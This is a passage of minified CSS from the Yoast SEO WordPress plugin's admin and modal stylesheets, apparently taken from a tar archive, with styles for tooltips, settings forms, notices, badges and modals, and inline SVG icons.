95 60.5 169.5T350 1592q23 5 98 5v72h-45q-140 0-239.5-100T64 1329V558q0-140 99.5-240T403 218zM1254 0h247l-482 1294q-23 61-40.5 103.5t-45 98-54 93.5-64.5 78.5-79.5 65-95.5 41-116 18.5v-195q163-26 220-182 20-52 20-105 0-54-20-106L459 471h228l187 585zm474 558v1111H933q37-55 45-73h678V558q0-85-49.5-155T1477 304l25-67q101 34 163.5 123.5T1728 558z'/%3E%3C/svg%3E");--yoast-svg-icon-yoast-bad:url("data:image/svg+xml;charset=utf-8,%3Csvg width='1792' height='1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%23dc3232' d='M403 218h691l-26 72H403q-110 0-188.5 79T136 558v771q0 95 60.5 169.5T350 1592q23 5 98 5v72h-45q-140 0-239.5-100T64 1329V558q0-140 99.5-240T403 218zM1254 0h247l-482 1294q-23 61-40.5 103.5t-45 98-54 93.5-64.5 78.5-79.5 65-95.5 41-116 18.5v-195q163-26 220-182 20-52 20-105 0-54-20-106L459 471h228l187 585zm474 558v1111H933q37-55 45-73h678V558q0-85-49.5-155T1477 304l25-67q101 34 163.5 123.5T1728 558z'/%3E%3C/svg%3E");--yoast-svg-icon-yoast-noindex:url("data:image/svg+xml;charset=utf-8,%3Csvg width='1792' height='1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%231e8cbe' d='M403 218h691l-26 72H403q-110 0-188.5 79T136 558v771q0 95 60.5 169.5T350 1592q23 5 98 5v72h-45q-140 0-239.5-100T64 1329V558q0-140 99.5-240T403 218zM1254 0h247l-482 1294q-23 61-40.5 103.5t-45 98-54 93.5-64.5 78.5-79.5 65-95.5 41-116 18.5v-195q163-26 220-182 20-52 20-105 0-54-20-106L459 471h228l187 585zm474 558v1111H933q37-55 45-73h678V558q0-85-49.5-155T1477 304l25-67q101 34 163.5 123.5T1728 558z'/%3E%3C/svg%3E")}.yoast-tooltip{position:relative}button.yoast-tooltip{overflow:visible}.yoast-tooltip:after{word-wrap:break-word;-webkit-font-smoothing:subpixel-antialiased;background:#000c;border-radius:3px;color:#fff;content:attr(aria-label);display:none;font:normal normal 11px/1.45454545 Helvetica,arial,nimbussansl,liberationsans,freesans,clean,sans-serif,Apple Color Emoji,Segoe UI Emoji,Segoe UI Symbol;letter-spacing:normal;opacity:0;padding:6px 8px 5px;pointer-events:none;position:absolute;text-align:center;text-decoration:none;text-shadow:none;text-transform:none;white-space:pre;z-index:1000000}.yoast-tooltip-alt:after{content:attr(data-label)}.yoast-tooltip:before{border:5px solid #0000;color:#000c;content:"\00a0";display:none;height:0;opacity:0;pointer-events:none;position:absolute;width:0;z-index:1000001}@keyframes yoast-tooltip-appear{0%{opacity:0}to{opacity:1}}.yoast-tooltip:active:after,.yoast-tooltip:active:before,.yoast-tooltip:focus:after,.yoast-tooltip:focus:before,.yoast-tooltip:hover:after,.yoast-tooltip:hover:before{animation-duration:.1s;animation-fill-mode:forwards;animation-name:yoast-tooltip-appear;animation-timing-function:ease-in;display:inline-block;text-decoration:none}.yoast-tooltip-no-delay:active:after,.yoast-tooltip-no-delay:active:before,.yoast-tooltip-no-delay:focus:after,.yoast-tooltip-no-delay:focus:before,.yoast-tooltip-no-delay:hover:after,.yoast-tooltip-no-delay:hover:before{animation:none;opacity:1}.yoast-tooltip-multiline:active:after,.yoast-tooltip-multiline:focus:after,.yoast-tooltip-multiline:hover:after{display:table-cell}.yoast-tooltip-s:after,.yoast-tooltip-se:after,.yoast-tooltip-sw:after{margin-top:5px;left:50%;top:100%}.yoast-tooltip-s:before,.yoast-tooltip-se:before,.yoast-tooltip-sw:before{border-bottom-color:#000c;bottom:-5px;margin-left:-5px;left:50%;top:auto}.yoast-tooltip-se:after{right:50%;margin-right:-15px;left:auto}.yoast-tooltip-sw:after{margin-left:-15px}.yoast-tooltip-n:after,.yoast-tooltip-ne:after,.yoast-tooltip-nw:after{bottom:100%;margin-bottom:5px;left:50%}.yoast-tooltip-n:before,.yoast-tooltip-ne:before,.yoast-tooltip-nw:before{border-top-color:#000c;bottom:auto;margin-left:-5px;left:50%;top:-5px}.yoast-tooltip-ne:after{right:50%;margin-right:-15px;left:auto}.yoast-tooltip-nw:after{margin-left:-15px}.yoast-tooltip-n:after,.yoast-tooltip-s:after{transform:translateX(-50%)}.yoast-tooltip-w:after{bottom:50%;margin-left:5px;left:100%;transform:translateY(50%)}.yoast-tooltip-w:before{border-right-color:#000c;bottom:50%;right:-5px;margin-top:-5px;top:50%}.yoast-tooltip-e:after{bottom:50%;right:100%;margin-right:5px;transform:translateY(50%)}.yoast-tooltip-e:before{border-left-color:#000c;bottom:50%;margin-top:-5px;left:-5px;top:50%}.yoast-tooltip-multiline:after{word-wrap:normal;border-collapse:initial;max-width:250px;white-space:pre-line;width:250px;width:max-content;word-break:break-word}.yoast-tooltip-multiline.yoast-tooltip-n:after,.yoast-tooltip-multiline.yoast-tooltip-s:after{right:50%;left:auto;transform:translateX(50%)}.yoast-tooltip-multiline.yoast-tooltip-e:after,.yoast-tooltip-multiline.yoast-tooltip-w:after{left:100%}@media screen and (min-width:0\0){.yoast-tooltip-multiline:after{width:250px}}.yoast-tooltip-sticky:after,.yoast-tooltip-sticky:before{display:inline-block}.yoast-tooltip-sticky.yoast-tooltip-multiline:after{display:table-cell}@media only screen and (-moz-min-device-pixel-ratio:2),only screen and (min-device-pixel-ratio:2),only screen and (min-resolution:192dpi),only screen and (min-resolution:2dppx){.yoast-tooltip-w:after{margin-left:4.5px}}.yoast-tooltip.yoast-tooltip-hidden:after,.yoast-tooltip.yoast-tooltip-hidden:before{display:none}.rtl .yst-icon-rtl{--tw-rotate:180deg;transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skewX(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}.wpseo-premium-indicator{display:inline-block;height:1px;width:1px}#adminmenu .wpseo-premium-indicator{color:inherit;margin:-2px 2px -3px 0}.wpseo-premium-indicator svg{display:none;height:100%;width:auto}.yoast-measure{max-width:600px}.yoast-measure.padded{max-width:632px}#TB_window .wpseo_content_wrapper p{font-size:14px;font-style:normal}#TB_window .wpseo_content_wrapper label{font-size:14px;font-weight:600;margin:0 0 0 10px}.wpseo-premium-popup-title{font-size:1.3em!important;font-weight:600!important;margin:1em 0!important;padding:0!important}.wpseo-premium-popup-icon{margin:10px}.edit-tags-php .column-description img{height:auto;max-width:100%}.yoast-label-strong{font-weight:600}.yoast-video-container-max-width{max-width:560px}.yoast-video-container{height:0;overflow:hidden;padding-bottom:56.25%;position:relative}.yoast-video-container iframe{height:100%;right:0;position:absolute;top:0;width:100%}.yoast-settings{margin-bottom:2em;padding-right:220px}.yoast-settings h2{margin-bottom:0;margin-right:-220px}.yoast-settings label{color:#23282d;display:inline-block;font-size:14px;font-weight:600;line-height:1.3;margin-right:-220px;margin-left:6px;padding-left:10px;padding-top:4px;vertical-align:top;width:200px}.yoast .yoast-settings__checkbox,.yoast .yoast-settings__radio,.yoast-settings fieldset,.yoast-settings input[type=text],.yoast-settings label,.yoast-settings select,.yoast-settings textarea{margin-bottom:.5em;margin-top:2em}.yoast-settings__textarea--medium{max-width:600px;width:100%}.yoast .yoast-settings__checkbox,.yoast .yoast-settings__radio{position:relative;top:1px;vertical-align:top}.yoast-settings__group--checkbox,.yoast-settings__group--radio{padding-top:1em}.yoast-settings__group--checkbox .yoast-settings__checkbox,.yoast-settings__group--radio .yoast-settings__radio{margin:0 0 10px 4px}.yoast-settings__checkbox+label,.yoast-settings__radio+label{margin-right:0;margin-left:0;max-width:calc(100% - 25px);padding:0;width:auto}.yoast-settings__group--checkbox .yoast-settings__checkbox+label,.yoast-settings__group--radio .yoast-settings__radio+label{font-weight:400;margin-bottom:10px;margin-top:0}.yoast-settings legend{color:#23282d;font-size:14px;font-weight:600}.yoast-settings .description{font-size:14px;margin-top:0}td .wpseo-score-icon{background:#888;border-radius:50%;display:inline-block;height:12px;line-height:16px;margin-right:5px;margin-top:3px;width:12px}.fixed th.column-wpseo-linked,.fixed th.column-wpseo-links,.fixed th.column-wpseo-score,.fixed th.column-wpseo-score-readability{padding:0;width:3em}.fixed th.column-wpseo-score-readability.sortable,.fixed th.column-wpseo-score-readability.sorted,.fixed th.column-wpseo-score.sortable,.fixed th.column-wpseo-score.sorted{width:3.5em}th.column-wpseo-linked a,th.column-wpseo-links a,th.column-wpseo-score .yoast-tooltip,th.column-wpseo-score-readability .yoast-tooltip{display:inline-block;overflow:visible;padding:8px 0;vertical-align:middle}th.column-wpseo-score .yoast-tooltip,th.column-wpseo-score-readability .yoast-tooltip{padding:8px 11px}th.column-wpseo-score-readability.sortable .yoast-tooltip,th.column-wpseo-score-readability.sorted .yoast-tooltip,th.column-wpseo-score.sortable .yoast-tooltip,th.column-wpseo-score.sorted .yoast-tooltip{padding-left:0}.column-wpseo-links .yoast-tooltip-multiline:after{max-width:160px}.column-wpseo-linked .yoast-tooltip-multiline:after{max-width:170px}.yoast-column-header-has-tooltip{position:relative}.manage-column .yoast-column-header-has-tooltip:before{color:#444;content:"";display:inline-block;height:20px;padding:0;text-decoration:none!important;vertical-align:top;width:20px}.manage-column .yoast-linked-to:before{background:#0000 url(../../images/link-out-icon.svg) no-repeat 100% 0;background-size:20px}.manage-column .yoast-linked-from:before{background:#0000 url(../../images/link-in-icon.svg) no-repeat 100% 0;background-size:20px}.manage-column .yoast-column-seo-score:before{background:#0000 url(../../images/Yoast_SEO_negative_icon.svg) no-repeat 100% 0;background-size:20px}.manage-column .yoast-column-readability:before{background:#0000 url(../../images/readability-icon.svg) no-repeat 100% 0;background-size:20px}td.column-wpseo-linked,td.column-wpseo-links{word-wrap:normal}@media screen and (max-width:782px){.yoast-settings{padding-right:0}.yoast-settings h2{margin-right:0}.yoast-settings label{margin-right:0;margin-left:0;padding:0;width:auto}.yoast .yoast-settings__radio,.yoast-settings__radio+label{margin-bottom:1em}.yoast-settings__checkbox+label,.yoast-settings__radio+label{max-width:calc(100% - 35px);padding-top:8px}.yoast-settings__group--checkbox .yoast-settings__checkbox+label,.yoast-settings__group--radio .yoast-settings__radio+label{padding-top:4px}.yoast-settings input[type=text],.yoast-settings select,.yoast-settings textarea{box-sizing:border-box;display:block;line-height:1.5;margin-bottom:0;margin-top:0;max-width:none;padding:7px 10px;width:100%}.screen-reader-text.wpseo-score-text{-webkit-clip-path:none;clip-path:none;height:auto;margin:0;position:static!important;width:auto}}.react-tabs__tab-panel{margin:0 auto;max-width:900px}.react-tabs__tab-panel li{max-width:none!important}.contact-premium-support{text-align:center}.contact-premium-support__content{font-size:.9375rem;line-height:1.4;margin:0 auto 1.5em}.contact-premium-support__content:nth-child(2){max-width:610px}.contact-premium-support__content:nth-child(3){max-width:560px}.contact-premium-support .contact-premium-support__button{margin-bottom:48px}.wpseo-premium-description{margin-top:.5em}.wpseo-premium-advantages-list{list-style:disc;padding-right:1.5em}.yoast_help.yoast-help-button,.yoast_help.yoast-help-link{background:#0000;border:0;box-shadow:none;color:#72777c;cursor:pointer;height:20px;margin:0;outline:none;padding:0;position:relative;vertical-align:top;width:20px}.yoast-section .yoast_help.yoast-help-button{float:left}.help-button-inline .yoast_help.yoast-help-button{margin-top:-4px}.yoast-section .yoast_help.yoast-help-button{margin-top:-44px}.wpseo-admin-page .yoast_help.yoast-help-button{margin-left:6px}.yoast_help .yoast-help-icon:before{content:"\f223";right:0;padding:4px;position:absolute;top:0}.yoast_help.yoast-help-button:focus,.yoast_help.yoast-help-button:hover,.yoast_help.yoast-help-link:hover{color:#0073aa}.assessment-results__mark:focus,.yoast_help.yoast-help-button:focus .yoast-help-icon:before,.yoast_help.yoast-help-link:focus .yoast-help-icon:before{border-radius:100%;box-shadow:0 0 0 1px #5b9dd9,0 0 2px 1px #1e8cbecc}.yoast-help-panel{clear:both;display:none;font-weight:400;max-width:30em!important;padding:0 0 1em;white-space:normal}.wpseo-admin-page .yoast-help-panel{max-width:600px!important}.copy-home-meta-description{margin-top:1em}.copy-home-meta-description .yoast-help-panel{max-width:400px!important}.yoast-modal_is-open{overflow:hidden}.yoast-notification .yoast-seo-icon{float:right;margin:20px 10px}.yoast-notification .yoast-seo-icon-wrap{margin:0 85px 0 0}.yoast-button-upsell{align-items:center;background-color:#fec228;border-radius:4px;box-shadow:inset 0 -4px 0 #0003;box-sizing:border-box;color:#000;display:inline-flex;filter:drop-shadow(0 2px 4px rgba(0,0,0,.2));font-family:Arial,sans-serif;font-size:16px;justify-content:center;line-height:1.5;min-height:48px;padding:8px 1em;text-decoration:none}.yoast-button-upsell:active,.yoast-button-upsell:focus,.yoast-button-upsell:hover{background-color:#f2ae01;color:#000}.yoast-button-upsell:focus{box-shadow:inset 0 -4px 0 #0003,0 0 0 1px #5b9dd9,0 0 2px 1px #1e8cbecc}.yoast-button-upsell:active{box-shadow:none;filter:none;transform:translateY(1px)}.yoast-button-upsell#wpseo-premium-button{color:#000}.yoast-button-upsell__caret{background:#0000 var(--yoast-svg-icon-caret-right) center no-repeat;flex-shrink:0;height:16px;margin:0 6px 0 -2px;width:8px}.rtl .yoast-button-upsell__caret{background-image:var(--yoast-svg-icon-caret-left)}body.folded .wpseo-admin-submit-fixed{right:36px}@media screen and (max-width:782px){body.folded .wpseo-admin-submit-fixed{right:0}}.wpseo-admin-submit{align-items:baseline;display:flex;justify-content:flex-start;margin:0;padding:16px 0;z-index:5}.wpseo-admin-submit.wpseo-admin-submit-fixed{background-color:#fff;bottom:0;box-shadow:0 1px 8px 1px #00000080;padding:16px;position:fixed;width:600px}@media screen and (max-width:782px){.wpseo-admin-submit.wpseo-admin-submit-fixed{right:0;width:782px}}.wpseo-admin-submit p.submit{margin:0;padding:0}.wpseo-admin-submit p.wpseo-message{color:#008a00;margin:0 0 0 16px;padding:0}.yoast-site-health__signature{color:#707070;display:flex;font-size:12px;line-height:20px;margin-top:2em}.yoast-site-health__inline-button.fetch-status,.yoast-site-health__signature-icon{margin-left:8px}#wpadminbar .yoast-badge,.yoast-badge{border-radius:8px;display:inline-block;font-weight:600;line-height:1.6;padding:0 8px}.yoast-badge{font-size:10px;min-height:16px}.yoast-badge--sale{background-color:#a4286a;border-radius:999px!important;color:#fff;font-size:12px!important;margin-top:-24px;position:absolute;left:30px;transform:rotate(-14deg)}@media (max-width:1024px){.yoast-badge--sale{display:inline-block;position:unset;vertical-align:top}}.yoast-badge__is-link:focus,.yoast-badge__is-link:hover{background-color:#004973;box-shadow:none;color:#fff;outline:none}#wpadminbar .yoast-badge,.wp-submenu .yoast-badge{font-size:9px;min-height:14px}.yoast-new-badge{background-color:#cce5ff;color:#004973}.yoast-premium-badge{background-color:#fff3cd;color:#674e00}.yoast-beta-badge{background-color:#cce5ff;color:#004973}.yoast-badge__is-link{text-decoration:none}.switch-container .yoast-badge{vertical-align:-1em}.switch-container legend .yoast-badge{vertical-align:0}.yoast_help+.yoast-badge{vertical-align:bottom}.yoast #crawl-settings fieldset[id$=_disabled],.yoast #crawl-settings p.disabled,.yoast label[for=clean_permalinks_extra_variables_free],.yoast label[for=search_character_limit_free],.yoast p.yoast-extra-variables-label-free{opacity:.5}.yoast #crawl-settings fieldset[id$=_disabled] .switch-toggle.switch-yoast-seo input:disabled~a{background:#a4286a;border:1px solid #b5b5b5}.yoast label[for^=search_character_limit]{font-weight:600;margin-bottom:10px!important;padding-right:2px;width:320px!important}.yoast input[id^=search_character_limit]{width:70px!important}.yoast label[for^=clean_permalinks_extra_variables]{font-weight:600;padding-right:2px;width:240px!important}.yoast input[id^=clean_permalinks_extra_variables]{width:358px!important}.yoast .yoast-crawl-single-setting{margin-top:18px}.yoast p[class*=yoast-extra-variables-label]{padding-right:243px!important}@media screen and (max-width:782px){.yoast p[class*=yoast-extra-variables-label]{margin-top:-20px!important;padding-right:0!important}}.yoast .yoast-crawl-settings-help{font-style:italic}.notice-yoast{background:#fff;border:1px solid #c3c4c7;border-right:4px solid var(--yoast-color-primary);box-shadow:0 1px 1px #0000000a;margin:20px 0 15px;padding:1px 12px}#black-friday-2023-product-editor-checklist .notice-yoast__container{padding:0 5px}.notice-yoast.is-dismissible{padding-left:38px;position:relative}.notice-yoast__container{padding:10px 0 5px}.notice-yoast__container,.notice-yoast__header{align-items:center;display:flex;flex-direction:row}.notice-yoast__header{box-sizing:border-box;justify-content:left;margin-bottom:8px;padding:0;width:100%}.notice-yoast__header .notice-yoast__header-heading{line-height:1.2;margin:0;padding:0}.notice-yoast__header h2.notice-yoast__header-heading{color:var(--yoast-color-primary);font-size:14px;font-weight:600;line-height:1;margin:0}.notice-yoast__header .yoast-icon{background-color:var(--yoast-color-primary);display:inline-block;height:14px;margin-left:8px;mask-image:var(--yoast-svg-icon-yoast);-webkit-mask-image:var(--yoast-svg-icon-yoast);mask-size:100% 100%;-webkit-mask-size:100% 100%;width:14px}.notice-yoast__content{display:flex;padding:0}.notice-yoast .notice-yoast__container>svg{height:60px;line-height:1;margin-right:10px;width:auto}.notice-yoast img{height:60px;line-height:1;margin-bottom:5px;margin-right:16px;width:auto}.notice-yoast p{font-size:13px;font-weight:400;line-height:19px;max-width:600px}.notice-yoast .yoast-button--small{min-height:unset}.notice-yoast .notice-dismiss{background:none;border:none;color:#787c82;cursor:pointer;margin:0;padding:9px;position:absolute;left:1px;top:0}.notice-yoast .notice-dismiss:before{speak:never;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;background:none;color:#787c82;content:"\f153";display:block;font:normal 16px/20px dashicons;height:20px;text-align:center;width:20px}.notice-yoast .notice-dismiss:hover:before{color:#d63638}.yoast-notice-migrated-header{margin-top:10px}.privacy-settings .notice-yoast{margin:0 20px}.yoast .yoast-crawl-settings-explanation-free,.yoast .yoast-crawl-settings-help-free{opacity:.5}.yoast h3.yoast-crawl-settings,.yoast h3.yoast-crawl-settings-free{margin:2em 0 .5em}.yoast .yoast-crawl-settings-disabled,.yoast h3.yoast-crawl-settings-free{opacity:.5}.yoast .indexables-indexing-error p{margin-bottom:13px}.yoast .indexables-indexing-error strong{font-weight:500}.yoast .indexables-indexing-error summary{font-weight:700}.yoast-dashicons-notice{color:#dba617}#black-friday-2024-promotion-sidebar.notice-yoast{background:#fff;border-color:#fcd34d;border-radius:8px;border-width:2px;margin:20px 0 15px;padding:1px 12px}#black-friday-2024-promotion-sidebar .notice-yoast__header{margin-bottom:2px;padding-left:20px}#black-friday-2024-promotion-metabox.notice-yoast{background:#fff;border-color:#fcd34d;border-radius:8px;border-width:2px;margin:20px}#black-friday-2024-promotion-metabox h2.notice-yoast__header-heading{padding:0}#black-friday-2024-promotion-metabox .notice-yoast__container{padding-bottom:0}#black-friday-2024-promotion-metabox .notice-yoast__container p{display:inline}#black-friday-2024-promotion-metabox .notice-yoast__header{margin-bottom:8px}#black-friday-2024-promotion-metabox .notice-yoast__header a{font-weight:400;margin-right:13px}.yoast-bf-sale-badge{display:block;right:12px;position:absolute;top:-10px}.yoast-bf-sale-badge,.yoast-menu-bf-sale-badge{background-color:#1f2937;border-radius:8px;color:#fcd34d;font-size:10px;font-weight:600;line-height:normal;padding:2px 8px}.yoast-menu-bf-sale-badge{text-wrap:nowrap;border:1px solid #fcd34d;margin-right:5px}wordpress-seo/css/dist/yoast-extensions-2420.css000064400000066342147510273070015567 0ustar00.yoast-modal__screen-overlay{animation:edit-post__fade-in-animation .2s ease-out 0s;animation-fill-mode:forwards;background-color:#a4286a99;bottom:0;left:0;position:fixed;right:0;top:0;z-index:100000}.yoast-modal{background:#fff;bottom:48px;display:flex;flex-direction:column;height:calc(100% - 96px);left:calc(50% - 440px);max-width:880px;overflow:hidden;position:fixed;top:48px;width:100%}.yoast-gutenberg-modal .yoast-icon{background-color:var(--yoast-color-primary);display:inline-block;height:20px;margin-right:8px;mask-image:var(--yoast-svg-icon-yoast);-webkit-mask-image:var(--yoast-svg-icon-yoast);mask-size:100% 100%;-webkit-mask-size:100% 100%;width:20px}.yoast-tabs .yoast-modal__content{display:grid;grid-template-areas:"heading heading" "menu content" "menu footer";grid-template-columns:280px 1fr;grid-template-rows:72px 1fr 88px}.yoast-modal__heading{align-items:center;background:var(--yoast-color-white);border-bottom:var(--yoast-border-default);box-sizing:border-box;display:flex;grid-area:heading;min-height:72px;padding:0 24px}.yoast-modal__heading .yoast-close{position:absolute;right:16px}.yoast-gutenberg-modal__box.components-modal__frame{box-shadow:0 20px 25px -5px #0000001a,0 8px 10px -6px #0000001a}@media (min-width:600px){.yoast-gutenberg-modal__box.components-modal__frame{border-radius:8px;max-height:calc(100% - 48px)}}.yoast-gutenberg-modal__no-padding .components-modal__content{padding:0}.yoast-gutenberg-modal .components-modal__header-heading,.yoast-modal__heading h1{color:var(--yoast-color-primary);font-size:20px;font-weight:400;line-height:1.2;margin:0}.yoast-gutenberg-modal .components-modal__content .components-modal__header{border-bottom:1px solid #e2e8f0!important}.yoast-gutenberg-modal .components-modal__icon-container{display:inline-flex}.yoast-gutenberg-modal .components-modal__icon-container svg,.yoast-modal__heading-icon{fill:var(--yoast-color-primary);flex-shrink:0;height:20px;margin-right:16px;width:19px}.yoast-modal__menu{border-right:var(--yoast-border-default);grid-area:menu;overflow-y:auto}.yoast-modal__menu ul{list-style:none;margin:0;padding:0}.yoast-modal__menu li{border-bottom:var(--yoast-border-default);color:var(--yoast-color-default);cursor:pointer;display:block;font-size:16px;padding:12px 16px 11px;text-decoration:none}.yoast-modal__menu li:hover{background-color:#edd4e1}.yoast-modal__menu li.yoast-tabs__tab--selected{background-color:var(--yoast-color-primary);border-bottom:var(--yoast-border-default);color:#fff}.yoast-modal__content,.yoast-modal__section{display:flex;flex-direction:column;flex-grow:1;grid-area:content;overflow-y:auto;position:relative}.yoast-modal__section *{max-width:600px}.yoast-modal__section-header{background:var(--yoast-color-white);padding:24px 24px 0;position:sticky;top:0;z-index:10}.yoast-modal__section .yoast-h2{border-bottom:var(--yoast-border-default);padding-bottom:24px}.yoast-modal__footer{align-items:center;align-self:flex-end;background:var(--yoast-color-white);border-top:var(--yoast-border-default);bottom:0;box-sizing:border-box;display:flex;grid-area:footer;justify-content:flex-end;margin:0 24px;min-height:88px;padding:0;position:sticky;width:calc(100% - 48px);z-index:10}.yoast-modal__settings-saved{align-items:center;display:inline-flex;margin-right:16px;position:relative}.yoast-modal__settings-saved:before{background:var(--yoast-checkmark--green) no-repeat center;content:"";display:inline-block;height:13px;margin-right:8px;width:14px}.yoast-modal__footer .yoast-button{display:block}.yoast-modal__section-content{flex-grow:1;padding:24px}@media screen and (max-width:880px){.yoast-modal{bottom:0;height:auto;left:0;right:0;top:0}}@media screen and (max-width:782px){.yoast-modal{overflow-y:initial}.yoast-modal.yoast-modal-collapsible{padding-bottom:72px}.yoast-tabs .yoast-modal__content{grid-template-rows:48px 1fr 72px}.yoast-modal__heading{min-height:48px;padding:0 16px;position:fixed;top:0;width:100%;z-index:11}.yoast-modal__heading h1{font-size:var(--yoast-font-size-default)}.yoast-close svg{width:10px}.yoast-modal__heading-icon{height:15px;margin-right:8px}.yoast .yoast-close{right:3px}.yoast-modal__heading .yoast-h2{font-size:var(--yoast-font-size-default)}.yoast-modal__section{flex-grow:0;overflow:initial}.yoast-modal__section-content{margin:0 16px;padding:24px 0}.yoast-modal__section:first-of-type{margin-top:48px}.yoast-modal__section:last-of-type{margin-bottom:72px}.yoast-modal__section-header{margin:0;padding:0;position:sticky;top:48px}.yoast-modal__section-open .yoast-modal__section-header{margin-left:16px;margin-right:16px;padding-left:0;padding-right:0}.yoast-modal__section-open{border-bottom:var(--yoast-border-default)}.yoast-modal__footer{margin:0;min-height:72px;padding:0 16px;position:fixed;width:100%;z-index:11}.yoast-modal-collapsible .yoast-modal__footer{min-height:72px}.yoast-modal-collapsible .yoast-modal__section-content{border-bottom:var(--yoast-border-default);margin:0;padding:24px 16px}.yoast-collapsible__hidden{display:none}.yoast-collapsible__trigger{background:#fff;border:none;border-bottom:var(--yoast-border-default);color:var(--yoast-color-primary);cursor:pointer;font-size:var(--yoast-font-size-default);justify-content:space-between;padding:16px;text-align:left;width:100%}.yoast-collapsible__trigger[aria-expanded=true] .yoast-collapsible__icon{transform:rotate(180deg)}.yoast-collapsible__trigger[aria-expanded=true]{margin:0 16px;padding:16px 0;width:calc(100% - 32px)}.yoast-collapsible__icon{background-color:var(--yoast-color-white);background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 12 8' fill='%23404040'%3E%3Cpath d='M1.4 0 6 4.6 10.6 0 12 1.4 6 7.5 0 1.4z'/%3E%3C/svg%3E");background-position:50%;background-repeat:no-repeat;background-size:10px auto;border:none;display:block;float:right;height:19px;width:19px}.yoast-collapsible-block{margin-top:48px;width:100%}.yoast-collapsible-block+.yoast-collapsible-block{margin-top:0}}.yoast-post-settings-modal{height:100%;max-height:calc(100% - 96px);max-width:calc(100% - 96px);overflow:hidden;width:880px}.yoast-modal-content{padding:16px}@media (min-width:782px){.yoast-modal-content--columns{grid-gap:24px;display:grid;grid-template-columns:1fr 1fr}}.yoast-post-settings-modal__button-container{border-bottom:1px solid #0003;display:flex;flex-direction:column;padding:16px}.yoast-post-settings-modal .components-modal__content{display:flex;flex-direction:column;padding:0}.yoast-post-settings-modal .components-modal__header{border-bottom:var(--yoast-border-default);flex-shrink:0;margin:0}.yoast-post-settings-modal .yoast-notice-container{bottom:0;left:0;margin-top:auto;position:sticky;width:100%;z-index:1}.yoast-post-settings-modal .components-modal__content>div:not([class]):not([class=""]){display:flex;flex-direction:column;overflow:hidden}.yoast-post-settings-modal .yoast-notice-container>hr{margin-bottom:0;margin-top:-1px}.yoast-post-settings-modal .yoast-content-container{flex-grow:1;overflow-y:auto}.yoast-post-settings-modal .yoast-button-container{display:flex;flex-direction:row;justify-content:flex-end;margin:0;padding:24px}.yoast-post-settings-modal .yoast-button-container p{align-self:center;color:var(--yoast-color-label-help);padding-right:24px}.yoast-post-settings-modal .yoast-button-container button{align-self:center;flex-shrink:0;max-height:45px}@media only screen and (max-width:600px){.yoast-post-settings-modal{max-height:100%;max-width:100%}.yoast-post-settings-modal .yoast-button-container{justify-content:space-between;padding:16px}.yoast-post-settings-modal .yoast-button-container p{padding-right:0}}.yoast-related-keyphrases-modal,.yoast-wincher-seo-performance-modal{max-width:712px}.yoast-wincher-seo-performance-modal__content{padding:25px 32px 32px}#yoast-get-related-keyphrases-metabox,#yoast-get-related-keyphrases-sidebar{margin-top:8px}.yoast-gutenberg-modal .yoast-related-keyphrases-modal__content{min-height:66vh;position:relative}.yoast-related-keyphrases-modal__chart{display:block}:root{--yoast-svg-icon-info:url("data:image/svg+xml;charset=utf-8,%3Csvg width='1792' height='1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%23A4286A' d='M1152 1376v-160q0-14-9-23t-23-9h-96V672q0-14-9-23t-23-9H672q-14 0-23 9t-9 23v160q0 14 9 23t23 9h96v320h-96q-14 0-23 9t-9 23v160q0 14 9 23t23 9h448q14 0 23-9t9-23zm-128-896V320q0-14-9-23t-23-9H800q-14 0-23 9t-9 23v160q0 14 9 23t23 9h192q14 0 23-9t9-23zm640 416q0 209-103 385.5T1281.5 1561 896 1664t-385.5-103T231 1281.5 128 896t103-385.5T510.5 231 896 128t385.5 103T1561 510.5 1664 896z'/%3E%3C/svg%3E");--yoast-svg-icon-check:url("data:image/svg+xml;charset=utf-8,%3Csvg viewBox='0 0 1792 1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%2377B227' d='M1671 566q0 40-28 68l-724 724-136 136q-28 28-68 28t-68-28l-136-136-362-362q-28-28-28-68t28-68l136-136q28-28 68-28t68 28l294 295 656-657q28-28 68-28t68 28l136 136q28 28 28 68z'/%3E%3C/svg%3E");--yoast-svg-icon-check-ok:url("data:image/svg+xml;charset=utf-8,%3Csvg width='1792' height='1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%2377B227' d='M1671 566q0 40-28 68l-724 724-136 136q-28 28-68 28t-68-28l-136-136-362-362q-28-28-28-68t28-68l136-136q28-28 68-28t68 28l294 295 656-657q28-28 68-28t68 28l136 136q28 28 28 68z'/%3E%3C/svg%3E");--yoast-svg-icon-caret-right:url("data:image/svg+xml;charset=utf-8,%3Csvg width='16' height='16' viewBox='0 0 192 512' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%23555' d='M0 384.662V127.338c0-17.818 21.543-26.741 34.142-14.142l128.662 128.662c7.81 7.81 7.81 20.474 0 28.284L34.142 398.804C21.543 411.404 0 402.48 0 384.662Z'/%3E%3C/svg%3E");--yoast-svg-icon-caret-left:url("data:image/svg+xml;charset=utf-8,%3Csvg width='16' height='16' viewBox='0 0 192 512' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%23555' d='M192 127.338v257.324c0 17.818-21.543 26.741-34.142 14.142L29.196 270.142c-7.81-7.81-7.81-20.474 0-28.284l128.662-128.662c12.599-12.6 34.142-3.676 34.142 14.142z'/%3E%3C/svg%3E");--yoast-svg-icon-eye:url("data:image/svg+xml;charset=utf-8,%3Csvg width='1792' height='1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%23555' d='M1664 960q-152-236-381-353 61 104 61 225 0 185-131.5 316.5T896 1280t-316.5-131.5T448 832q0-121 61-225-229 117-381 353 133 205 333.5 326.5T896 1408t434.5-121.5T1664 960zM944 576q0-20-14-34t-34-14q-125 0-214.5 89.5T592 832q0 20 14 34t34 14 34-14 14-34q0-86 